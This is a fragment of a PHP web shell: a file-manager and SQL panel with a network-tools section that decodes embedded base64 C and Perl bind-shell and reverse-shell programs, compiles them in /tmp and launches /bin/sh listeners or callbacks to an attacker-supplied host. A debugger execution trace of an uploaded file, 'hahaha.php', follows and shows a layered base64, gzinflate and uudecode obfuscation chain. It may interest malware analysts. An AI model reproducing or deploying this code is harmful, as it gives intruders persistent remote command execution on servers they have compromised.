                                        echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
                                    }
                                }
                                echo "</tr>";
                            }
                            echo "</table>";
                        } else {
                            echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
                        }
                    }
                    echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
                    if (!empty($_POST['p2']) && $_POST['p1'] != 'loadfile') {
                        echo htmlspecialchars($_POST['p2']);
                    }
                    echo "</textarea><br/><input type=submit value='Execute'>";
                    echo "</td></tr>";
                }
                echo "</table></form><br/>";
                if ($_POST['type'] == 'mysql') {
                    $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
                    if ($db->fetch()) {
                        echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='submit'></form>";
                    }
                }
                if (@$_POST['p1'] == 'loadfile') {
                    $file = $db->loadFile($_POST['p2']);
                    echo '<br/><pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
                }
            } else {
                echo htmlspecialchars($db->error());
            }
            echo "</div>";
            hardFooter();
        }
        function actionNetwork()
        {
            hardHeader();
            $back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
            $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
            $bind_port_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
            $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
            echo "<h1>Network tools</h1><div class=content>\r\n\t<form name='nfp' onSubmit='g(null,null,this.using.value,this.port.value,this.pass.value);return false;'>\r\n\t<span>Bind port to /bin/sh</span><br/>\r\n\tPort: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass'> Using: <label><select name='using'><option value='bpc'>C</option><option value='bpp'>Perl</option></select></label> <input type=submit value='submit'>\r\n\t</form>\r\n\t<form name='nfp' onSubmit='g(null,null,this.using.value,this.server.value,this.port.value);return false;'>\r\n\t<span>Back-connect to</span><br/>\r\n\tServer: <input type='text' name='server' value=" . $_SERVER['REMOTE_ADDR'] . "> Port: <input type='text' name='port' value='31337'> Using: <label><select name='using'><option value='bcc'>C</option><option value='bcp'>Perl</option></select></label> <input type=submit value='submit'>\r\n\t</form><br>";
            if (isset($_POST['p1'])) {
                function cf($f, $t)
                {
                    $w = @fopen($f, "w") or @function_exists('file_put_contents');
                    if ($w) {
                        @fwrite($w, @base64_decode($t)) or @fputs($w, @base64_decode($t)) or @file_put_contents($f, @base64_decode($t));
                        @fclose($w);
                    }
                }
                if ($_POST['p1'] == 'bpc') {
                    cf("/tmp/bp.c", $bind_port_c);
                    $▖ = ex("gcc -o /tmp/bp /tmp/bp.c");
                    @unlink("/tmp/bp.c");
                    $▖ .= ex("/tmp/bp " . $_POST['p2'] . " " . $_POST['p3'] . " &");
                    echo "<pre class=ml1>{$▖}" . ex("ps aux | grep bp") . "</pre>";
                }
                if ($_POST['p1'] == 'bpp') {
                    cf("/tmp/bp.pl", $bind_port_p);
                    $▖ = ex(which("perl") . " /tmp/bp.pl " . $_POST['p2'] . " &");
                    echo "<pre class=ml1>{$▖}" . ex("ps aux | grep bp.pl") . "</pre>";
                }
                if ($_POST['p1'] == 'bcc') {
                    cf("/tmp/bc.c", $back_connect_c);
                    $▖ = ex("gcc -o /tmp/bc /tmp/bc.c");
                    @unlink("/tmp/bc.c");
                    $▖ .= ex("/tmp/bc " . $_POST['p2'] . " " . $_POST['p3'] . " &");
                    echo "<pre class=ml1>{$▖}" . ex("ps aux | grep bc") . "</pre>";
                }
                if ($_POST['p1'] == 'bcp') {
                    cf("/tmp/bc.pl", $back_connect_p);
                    $▖ = ex(which("perl") . " /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " &");
                    echo "<pre class=ml1>{$▖}" . ex("ps aux | grep bc.pl") . "</pre>";
                }
            }
            echo "</div>";
            hardFooter();
        }
        if (empty($_POST['a'])) {
            if (isset($▚) && function_exists('action' . $▚)) {
                $_POST['a'] = $▚;
            } else {
                $_POST['a'] = 'FilesMan';
            }
        }
        if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) {
            call_user_func('action' . $_POST['a']);
        }
    } else {
        $ziwziw = $_POST['lynx'];
        if ($ziwziw == 'adding') {
            echo php_uname();
            echo "sarafinoubombom";
        } else {
            if ($ziwziw == 'ip') {
                //$ip = file_get_contents("http://ipecho.net/plain");
                $ip = $_SERVER['SERVER_ADDR'];
                if (filter_var($ip, FILTER_VALIDATE_IP)) {
                    echo $ip;
                    echo "sarafinoubombom";
                } else {
                    $host = gethostname();
                    $ip = gethostbyname($host);
                    echo $ip;
                    echo "sarafinoubombom";
                }
            }
        }
    }
};
?>





Execution traces

data/traces/7ba33f47ce7c7118238e922008c694ee_trace-1676246635.8251.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 22:04:21.722951]
1	0	1	0.000152	393528
1	3	0	0.000396	460032	{main}	1		/var/www/html/uploads/hahaha.php	0	0
1		A						/var/www/html/uploads/hahaha.php	1	$asqdg5sgr1erSDF65g1erb65FDr1b6er5b1erberVb7erbe1r3b20etb0b00Ftb0r0tr3b2rt3516zfSDGzegzegz9ergz6e5gRRJGRZG5sqdg5sgr1erSDF65g1erb65FDr1b6er5b1erberVb7erbe1r3b20etb0b00Ftb0r0tr3b2rt3516zfSDGzegzegz9ergz6e5gRRJGRZG5sqdg5sgr1erSDF65g1erb65FDr1b6er5b1erberVb7erbe1r3b20etb0b00Ftb0r0tr3b2rt3516zfSDGzegzegz9ergz6e5gRRJGRZG5sqdg5sgr1erSDF65g1erb65FDr1b6er5b1erberVb7erbe1r3b20etb0b00Ftb0r0tr3b2rt3516zfSDGzegzegz9ergz6e5gRRJGRZG5sqdg5sgr1erSDF65g1erb65FDr1b6er5b1erberVb7erbe1r3b20etb0b00Ftb0r0tr3b2rt3516zfSDGzegzegz9ergz6e5gRRJGRZG5sqdg5sgr1erSDF65g1erb65FDr1b6er5b1erberVb7erbe1r3b20etb0b00Ftb0r0tr3b2rt3516zfSDGzegzegz9ergz6e5gRRJGRZG5 = 'HJ1XmqM4FIXfexeAAWNyMDnnnHP0/lcxqnmanq+bwkj3nvMflZCryZgMeyc/r8HZXVtrXNXSGtpVcO8lIbv/XuAw9H14l9bFz67rPVkLl8K6JrL086+6lt0xWKJLKwTfgyyd9Fs+T3mf7tZs2Ld7Zk0xvjgj3aKlUAehMvLPdLwGmLsqcPXgTUUm25Q90HqkX1ngTCoRSOyTR5zh61/GkfXuIpCyRpdQkZ3KQhYhPPEpRv5VO0ZTQW9MM6lWhXhZ3UmRqs/+6KTbGeMSk5zwBBVfwsPxjK4ubqmpaH1ZYvmC/1UHDdsDRDvV0MjzS6xy5W0cN6MtWySaUGs0gTUdEXgwvkz7eagK3CMq2DWEz3n8qxavsVz7jUYXUtzxwTIW2YzWoOr7l7IqOJMahPH2hl7JSJyVHGPvZCv4tExe6/ivml9LUyS0L/hS4Ra4+Xy2G4NVuWmY+4PnwsiJissuVSQs3TWvY+E8o0w0CFw1339VGxanqiuaRaPiMCSVoLyt'
2	4	0	0.000479	460032	base64_decode	0		/var/www/html/uploads/hahaha.php	1	1	'HJ1XmqM4FIXfexeAAWNyMDnnnHP0/lcxqnmanq+bwkj3nvMflZCryZgMeyc/r8HZXVtrXNXSGtpVcO8lIbv/XuAw9H14l9bFz67rPVkLl8K6JrL086+6lt0xWKJLKwTfgyyd9Fs+T3mf7tZs2Ld7Zk0xvjgj3aKlUAehMvLPdLwGmLsqcPXgTUUm25Q90HqkX1ngTCoRSOyTR5zh61/GkfXuIpCyRpdQkZ3KQhYhPPEpRv5VO0ZTQW9MM6lWhXhZ3UmRqs/+6KTbGeMSk5zwBBVfwsPxjK4ubqmpaH1ZYvmC/1UHDdsDRDvV0MjzS6xy5W0cN6MtWySaUGs0gTUdEXgwvkz7eagK3CMq2DWEz3n8qxavsVz7jUYXUtzxwTIW2YzWoOr7l7IqOJMahPH2hl7JSJyVHGPvZCv4tExe6/ivml9LUyS0L/hS4Ra4+Xy2G4NVuWmY+4PnwsiJissuVSQs3TWvY+E8o0w0CFw1339VGxanqiuaRaPiMCSVoLyt'
2	4	1	0.000668	513312
2	4	R			'\034�W��8\024��{\027�\001cr09�s�W1�y�����H���\037���ɘ\f{\'?���][k\\��\032�Up�%!��^�0�}x���Ϯ�=Y\v�º&��󯺖�1X�K+\004߃,��[>Oy���lط{fM1�8#ݢ�P\a�2��t�\006��*p��ME&۔=�z�_Y�L*\021H�G���_Ƒ��"��F�P���B\026!<�)F�U;FSAoL3�V�xY�I�����\031�\022���\004\025_���.n��h}Yb���U\a\r�\003D;����K�r�m\0347�-[$�Pk4�5\035\021x0�L�y�\n�#*�5��y��\026��\\��F\027R��2\026ٌ֠��*8�\032��^�H��\034c�d+��L^��_KS$�/�R�\026��|�\033�U�i�����ȉ��.U$,�5�c�<�L4\b\\5�U\033\026��+�E��0$�����j��V;\005Ú��B�6?�O�6�\r/�wO+{�U'
1		A						/var/www/html/uploads/hahaha.php	1	$biojhbHBiuhbIU1GB5145rg5JKSFV5DB11B5B1Hbndfdfbg2g2bhn0tn5n5j1156gb1rt6b1e56be5b1e5be56b1b0rn0n5n8899g9eebf3b1df2bdfbdfnjdnfjvhdbfibdbrn4rn1rtn5r6tn1rtn51rt655111fg62b1fg3n1f61er5g1rerjgabqnxkcpmgh5h5j8jiojhbHBiuhbIU1GB5145rg5JKSFV5DB11B5B1Hbndfdfbg2g2bhn0tn5n5j1156gb1rt6b1e56be5b1e5be56b1b0rn0n5n8899g9eebf3b1df2bdfbdfnjdnfjvhdbfibdbrn4rn1rtn5r6tn1rtn51rt655111fg62b1fg3n1f61er5g1rerjgabqnxkcpmgh5h5j8jiojhbHBiuhbIU1GB5145rg5JKSFV5DB11B5B1Hbndfdfbg2g2bhn0tn5n5j1156gb1rt6b1e56be5b1e5be56b1b0rn0n5n8899g9eebf3b1df2bdfbdfnjdnfjvhdbfibdbrn4rn1rtn5r6tn1rtn51rt655111fg62b1fg3n1f61er5g1rerjgabqnxkcpmgh5h5j8jiojhbHBiuhbIU1GB5145rg5JKSFV5DB11B5B1Hbndfdfbg2g2bhn0tn5n5j1156gb1rt6b1e56be5b1e5be56b1b0rn0n5n8899g9eebf3b1df2bdfbdfnjdnfjvhdbfibdbrn4rn1rtn5r6tn1rtn51rt655111fg62b1fg3n1f61er5g1rerjgabqnxkcpmgh5h5j8jiojhbHBiuhbIU1GB5145rg5JKSFV5DB11B5B1Hbndfdfbg2g2bhn0tn5n5j1156gb1rt6b1e56be5b1e5be56b1b0rn0n5n8899g9eebf3b1df2bdfbdfnjdnfjvhdbfibdbrn4rn1rtn5r6tn1rtn51rt655111fg62b1fg3n1f61er5g1rerjgabqnxkcpmgh5h5j8jiojhbHBiuhbIU1GB5145rg5JKSFV5DB11B5B1Hbndfdfbg2g2bhn0tn5n5j1156gb1rt6b1e56be5b1e5be56b1b0rn0n5n8899g9eebf3b1df2bdfbdfnjdnfjvhdbfibdbrn4rn1rtn5r6tn1rtn51rt655111fg62b1fg3n1f61er5g1rerjgabqnxkcpmgh5h5j8jiojhbHBiuhbIU1GB5145rg5JKSFV5DB11B5B1Hbndfdfbg2g2bhn0tn5n5j1156gb1rt6b1e56be5b1e5be56b1b0rn0n5n8899g9eebf3b1df2bdfbdfnjdnfjvhdbfibdbrn4rn1rtn5r6tn1rtn51rt655111fg62b1fg3n1f61er5g1rerjgabqnxkcpmgh5h5j8j = '\034�W��8\024��{\027�\001cr09�s�W1�y�����H���\037���ɘ\f{\'?���][k\\��\032�Up�%!��^�0�}x���Ϯ�=Y\v�º&��󯺖�1X�K+\004߃,��[>Oy���lط{fM1�8#ݢ�P\a�2��t�\006��*p��ME&۔=�z�_Y�L*\021H�G���_Ƒ��"��F�P���B\026!<�)F�U;FSAoL3�V�xY�I�����\031�\022���\004\025_���.n��h}Yb���U\a\r�\003D;����K�r�m\0347�-[$�Pk4�5\035\021x0�L�y�\n�#*�5��y��\026��\\��F\027R��2\026ٌ֠��*8�\032��^�H��\034c�d+��L^��_KS$�/�R�\026��|�\033�U�i�����ȉ��.U$,�5�c�<�L4\b\\5�U\033\026��+�E��0$�����j��V;\005Ú��B�6?�O�6�\r/�wO+{�U'
2	5	0	0.002045	513280	gzinflate	0		/var/www/html/uploads/hahaha.php	1	1	'\034�W��8\024��{\027�\001cr09�s�W1�y�����H���\037���ɘ\f{\'?���][k\\��\032�Up�%!��^�0�}x���Ϯ�=Y\v�º&��󯺖�1X�K+\004߃,��[>Oy���lط{fM1�8#ݢ�P\a�2��t�\006��*p��ME&۔=�z�_Y�L*\021H�G���_Ƒ��"��F�P���B\026!<�)F�U;FSAoL3�V�xY�I�����\031�\022���\004\025_���.n��h}Yb���U\a\r�\003D;����K�r�m\0347�-[$�Pk4�5\035\021x0�L�y�\n�#*�5��y��\026��\\��F\027R��2\026ٌ֠��*8�\032��^�H��\034c�d+��L^��_KS$�/�R�\026��|�\033�U�i�����ȉ��.U$,�5�c�<�L4\b\\5�U\033\026��+�E��0$�����j��V;\005Ú��B�6?�O�6�\r/�wO+{�U'
2	5	1	0.002882	566560
2	5	R			'MU;U;>Z+*$S?Z@>9O@8=9O-@7\'A$4#ZB(W"DDBB"Z4XWBI]](U=W0H":93/-_\nM]WZ?;/)QHM#\'ZCIHU:^6\\\\6ZU^P<O/(@\\IOKT$0;HYEWK8S2M;J*U[$S"0]M\nM]SAUKI6>,>S-:E:]IC?U8)C4/_JE0;B:5.?6:Q])#LN%WD76?M=#W2D\\\'UF#\nMZ&-,CR;UV+8MK3]=Q\\,+8B/`-GQZ.;]3GJ)A28\'WD[?A;QNK^4OM-:WWF6]"\nM[-">S!-?MSO6V$3MJ7(;[^.9WYE3<!P;OC=U[EQHM1LHRVSMK\'A)M"@;2*\\[\nMWAO=@>(%E]#K^F[/.=+OT=S8:Z5,=M"I4O#.AZO-X+E3V7J&/^GYK1HLG$XT\nMV$WOKG-B2B4K@K\'<_*Y^&"86OO.^*\'J2T037@/WME2WQ]VXTK?_T6)O#"MO5\nMPDK\\8:79=-%3SSGM27(=OMO7S-8Q7&&O\\+ED9^>5>1S:_DHOB>"W?5Z'
1		A						/var/www/html/uploads/hahaha.php	1	$cdrnr6e5n1e6n1re6tn1e65n1r6tn1r6en1er695gr498erg4e9rg45614EB54DF5B4DbJKHbjhbijhgeg15156165SD1GS6D5G1SGSDGDBJKHVJHGvuhgvihjdfbndfjbndklgrfnfn15ndrnr6e5n1e6n1re6tn1e65n1r6tn1r6en1er695gr498erg4e9rg45614EB54DF5B4DbJKHbjhbijhgeg15156165SD1GS6D5G1SGSDGDBJKHVJHGvuhgvihjdfbndfjbndklgrfnfn15ndrnr6e5n1e6n1re6tn1e65n1r6tn1r6en1er695gr498erg4e9rg45614EB54DF5B4DbJKHbjhbijhgeg15156165SD1GS6D5G1SGSDGDBJKHVJHGvuhgvihjdfbndfjbndklgrfnfn15ndrnr6e5n1e6n1re6tn1e65n1r6tn1r6en1er695gr498erg4e9rg45614EB54DF5B4DbJKHbjhbijhgeg15156165SD1GS6D5G1SGSDGDBJKHVJHGvuhgvihjdfbndfjbndklgrfnfn15ndrnr6e5n1e6n1re6tn1e65n1r6tn1r6en1er695gr498erg4e9rg45614EB54DF5B4DbJKHbjhbijhgeg15156165SD1GS6D5G1SGSDGDBJKHVJHGvuhgvihjdfbndfjbndklgrfnfn15ndrnr6e5n1e6n1re6tn1e65n1r6tn1r6en1er695gr498erg4e9rg45614EB54DF5B4DbJKHbjhbijhgeg15156165SD1GS6D5G1SGSDGDBJKHVJHGvuhgvihjdfbndfjbndklgrfnfn15ndrnr6e5n1e6n1re6tn1e65n1r6tn1r6en1er695gr498erg4e9rg45614EB54DF5B4DbJKHbjhbijhgeg15156165SD1GS6D5G1SGSDGDBJKHVJHGvuhgvihjdfbndfjbndklgrfnfn15ndrnr6e5n1e6n1re6tn1e65n1r6tn1r6en1er695gr498erg4e9rg45614EB54DF5B4DbJKHbjhbijhgeg15156165SD1GS6D5G1SGSDGDBJKHVJHGvuhgvihjdfbndfjbndklgrfnfn15ndrnr6e5n1e6n1re6tn1e65n1r6tn1r6en1er695gr498erg4e9rg45614EB54DF5B4DbJKHbjhbijhgeg15156165SD1GS6D5G1SGSDGDBJKHVJHGvuhgvihjdfbndfjbndklgrfnfn15ndrnr6e5n1e6n1re6tn1e65n1r6tn1r6en1er695gr498erg4e9rg45614EB54DF5B4DbJKHbjhbijhgeg15156165SD1GS6D5G1SGSDGDBJKHVJHGvuhgvihjdfbndfjbndklgrfnfn15ndrnr6e5n1e6n1re6tn1e65n1r6tn1r6en1er695gr498erg4e9rg45614EB54DF5B4DbJKHbjhbijhgeg15156165SD1GS6D5G1SGSDGDBJKHVJHGvuhgvihjdfbndfjbndklgrfnfn15ndrnr6e5n1e6n1re6tn1e65n1r6tn1r6en1er695gr498erg4e9rg45614EB54DF5B4DbJKHbjhbijhgeg15156165SD1GS6D5G1SGSDGDBJKHVJHGvuhgvihjdfbndfjbndklgrfnfn15n = 'MU;U;>Z+*$S?Z@>9O@8=9O-@7\'A$4#ZB(W"DDBB"Z4XWBI]](U=W0H":93/-_\nM]WZ?;/)QHM#\'ZCIHU:^6\\\\6ZU^P<O/(@\\IOKT$0;HYEWK8S2M;J*U[$S"0]M\nM]SAUKI6>,>S-:E:]IC?U8)C4/_JE0;B:5.?6:Q])#LN%WD76?M=#W2D\\\'UF#\nMZ&-,CR;UV+8MK3]=Q\\,+8B/`-GQZ.;]3GJ)A28\'WD[?A;QNK^4OM-:WWF6]"\nM[-">S!-?MSO6V$3MJ7(;[^.9WYE3<!P;OC=U[EQHM1LHRVSMK\'A)M"@;2*\\[\nMWAO=@>(%E]#K^F[/.=+OT=S8:Z5,=M"I4O#.AZO-X+E3V7J&/^GYK1HLG$XT\nMV$WOKG-B2B4K@K\'<_*Y^&"86OO.^*\'J2T037@/WME2WQ]VXTK?_T6)O#"MO5\nMPDK\\8:79=-%3SSGM27(=OMO7S-8Q7&&O\\+ED9^>5>1S:_DHOB>"W?5Z'
2	6	0	0.003073	566528	convert_uudecode	0		/var/www/html/uploads/hahaha.php	1	1	'MU;U;>Z+*$S?Z@>9O@8=9O-@7\'A$4#ZB(W"DDBB"Z4XWBI]](U=W0H":93/-_\nM]WZ?;/)QHM#\'ZCIHU:^6\\\\6ZU^P<O/(@\\IOKT$0;HYEWK8S2M;J*U[$S"0]M\nM]SAUKI6>,>S-:E:]IC?U8)C4/_JE0;B:5.?6:Q])#LN%WD76?M=#W2D\\\'UF#\nMZ&-,CR;UV+8MK3]=Q\\,+8B/`-GQZ.;]3GJ)A28\'WD[?A;QNK^4OM-:WWF6]"\nM[-">S!-?MSO6V$3MJ7(;[^.9WYE3<!P;OC=U[EQHM1LHRVSMK\'A)M"@;2*\\[\nMWAO=@>(%E]#K^F[/.=+OT=S8:Z5,=M"I4O#.AZO-X+E3V7J&/^GYK1HLG$XT\nMV$WOKG-B2B4K@K\'<_*Y^&"86OO.^*\'J2T037@/WME2WQ]VXTK?_T6)O#"MO5\nMPDK\\8:79=-%3SSGM27(=OMO7S-8Q7&&O\\+ED9^>5>1S:_DHOB>"W?5Z'
2	6	1	0.003180	607520
2	6	R			'ս[{��\0237���o��Y��\027\036\021\024\017���)$� �S���H��Р&�L��~�l�q����:hկ��ź��\034�� ���D\033��w��ҵ��ױ3\t\017m�8u���1��jV��7�`��?��A��T��k\037I\016˅�E�~�C�)<\037Y��cL�&�ض-�?]��\vb#�6|z9�S��aI�����o\033��K�5���oB�О�\023_�;��D�r\033��ߙSp\034\033�7u�\\h�\033(�l�xI�(\033H�;�\033݁�\005���n�9�����k�LvЩR�·���S�z�?�\032,�N4�M�sbJ%+����~\030&\026��(z��\004׀��-�n4���X��\n���J�a��t�S�9�Ir\035�����1\\a��dg�y\034�J/��}^���װϞIX\\�#yf\016}9��zH6Ou��`ϴ�ߛ��=��<�qp�����|�p�1e`��x�\nK�'
1		A						/var/www/html/uploads/hahaha.php	1	$ddd4fdBf4bDf5b4Dgnn02ny1y2n03rn03d2b0d3f2b0d0S32G0DF32G0SD30S3GERRH51RTH3RTH0RN30R3NRN51R5T6N1R4RT98H7RT98G4RT9G51R561651651g1d32fgd3h21rth51rt6h5r1th2rt1h32b0rt31h5h1ty5ujuil65io1l6i51lu6i5k1dd4fdBf4bDf5b4Dgnn02ny1y2n03rn03d2b0d3f2b0d0S32G0DF32G0SD30S3GERRH51RTH3RTH0RN30R3NRN51R5T6N1R4RT98H7RT98G4RT9G51R561651651g1d32fgd3h21rth51rt6h5r1th2rt1h32b0rt31h5h1ty5ujuil65io1l6i51lu6i5k1dd4fdBf4bDf5b4Dgnn02ny1y2n03rn03d2b0d3f2b0d0S32G0DF32G0SD30S3GERRH51RTH3RTH0RN30R3NRN51R5T6N1R4RT98H7RT98G4RT9G51R561651651g1d32fgd3h21rth51rt6h5r1th2rt1h32b0rt31h5h1ty5ujuil65io1l6i51lu6i5k1dd4fdBf4bDf5b4Dgnn02ny1y2n03rn03d2b0d3f2b0d0S32G0DF32G0SD30S3GERRH51RTH3RTH0RN30R3NRN51R5T6N1R4RT98H7RT98G4RT9G51R561651651g1d32fgd3h21rth51rt6h5r1th2rt1h32b0rt31h5h1ty5ujuil65io1l6i51lu6i5k1dd4fdBf4bDf5b4Dgnn02ny1y2n03rn03d2b0d3f2b0d0S32G0DF32G0SD30S3GERRH51RTH3RTH0RN30R3NRN51R5T6N1R4RT98H7RT98G4RT9G51R561651651g1d32fgd3h21rth51rt6h5r1th2rt1h32b0rt31h5h1ty5ujuil65io1l6i51lu6i5k1dd4fdBf4bDf5b4Dgnn02ny1y2n03rn03d2b0d3f2b0d0S32G0DF32G0SD30S3GERRH51RTH3RTH0RN30R3NRN51R5T6N1R4RT98H7RT98G4RT9G51R561651651g1d32fgd3h21rth51rt6h5r1th2rt1h32b0rt31h5h1ty5ujuil65io1l6i51lu6i5k1dd4fdBf4bDf5b4Dgnn02ny1y2n03rn03d2b0d3f2b0d0S32G0DF32G0SD30S3GERRH51RTH3RTH0RN30R3NRN51R5T6N1R4RT98H7RT98G4RT9G51R561651651g1d32fgd3h21rth51rt6h5r1th2rt1h32b0rt31h5h1ty5ujuil65io1l6i51lu6i5k1dd4fdBf4bDf5b4Dgnn02ny1y2n03rn03d2b0d3f2b0d0S32G0DF32G0SD30S3GERRH51RTH3RTH0RN30R3NRN51R5T6N1R4RT98H7RT98G4RT9G51R561651651g1d32fgd3h21rth51rt6h5r1th2rt1h32b0rt31h5h1ty5ujuil65io1l6i51lu6i5k1 = 'ս[{��\0237���o��Y��\027\036\021\024\017���)$� �S���H��Р&�L��~�l�q����:hկ��ź��\034�� ���D\033��w��ҵ��ױ3\t\017m�8u���1��jV��7�`��?��A��T��k\037I\016˅�E�~�C�)<\037Y��cL�&�ض-�?]��\vb#�6|z9�S��aI�����o\033��K�5���oB�О�\023_�;��D�r\033��ߙSp\034\033�7u�\\h�\033(�l�xI�(\033H�;�\033݁�\005���n�9�����k�LvЩR�·���S�z�?�\032,�N4�M�sbJ%+����~\030&\026��(z��\004׀��-�n4���X��\n���J�a��t�S�9�Ir\035�����1\\a��dg�y\034�J/��}^���װϞIX\\�#yf\016}9��zH6Ou��`ϴ�ߛ��=��<�qp�����|�p�1e`��x�\nK�'
